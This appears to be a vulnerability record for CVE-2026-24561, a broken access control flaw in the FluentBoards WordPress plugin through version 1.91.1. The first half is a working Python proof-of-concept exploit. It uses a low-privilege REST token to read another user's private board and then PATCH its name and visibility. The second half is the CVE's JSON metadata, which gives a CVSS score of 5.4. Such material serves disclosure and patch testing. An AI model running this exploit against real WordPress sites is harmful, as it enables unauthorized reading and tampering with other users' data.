CVE-2026-24561

# CVE-2026-24561 PoC - FluentBoards Access Control Bypass import requests import json TARGET_URL = "http://target-wordpress-site.com" ATTACKER_TOKEN = "attacker_wordpress_rest_api_token" TARGET_BOARD_ID = 123 # Target board ID to access def exploit_missing_authorization(): """ Exploit for CVE-2026-24561: Missing Authorization in FluentBoards plugin This PoC demonstrates how an authenticated low-privilege user can access boards they don't have permission to access. """ # Step 1: Attempt to access another user's private board endpoint = f"{TARGET_URL}/wp-json/fluent-boards/v1/boards/{TARGET_BOARD_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } print(f"[*] Attempting to access board ID: {TARGET_BOARD_ID}") response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Successfully accessed unauthorized board!") print(f"[+] Board data: {json.dumps(response.json(), indent=2)}") return True else: print(f"[-] Access denied or board not found: {response.status_code}") return False def modify_board_settings(): """ Try to modify board settings without proper authorization """ endpoint = f"{TARGET_URL}/wp-json/fluent-boards/v1/boards/{TARGET_BOARD_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } data = { "name": "Modified by Attacker", "visibility": "public" } print(f"[*] Attempting to modify board settings...") response = requests.patch(endpoint, headers=headers, json=data) if response.status_code == 200: print("[+] Successfully modified board settings!") return True else: print(f"[-] Modification failed: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-24561 PoC - FluentBoards Broken Access Control") print("=" * 60) exploit_missing_authorization() modify_board_settings()

{"cve": {"id": "CVE-2026-24561", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:13.487", "lastModified": "2026-04-28T15:16:14.357", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Mahmudul Hasan Arif FluentBoards fluent-boards allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FluentBoards: from n/a through <= 1.91.1."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización Mahmudul Hasan Arif FluentBoards fluent-boards permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a FluentBoards: desde n/a hasta &lt;= 1.91.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fluent-boards/vulnerability/wordpress-fluentboards-plugin-1-91-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}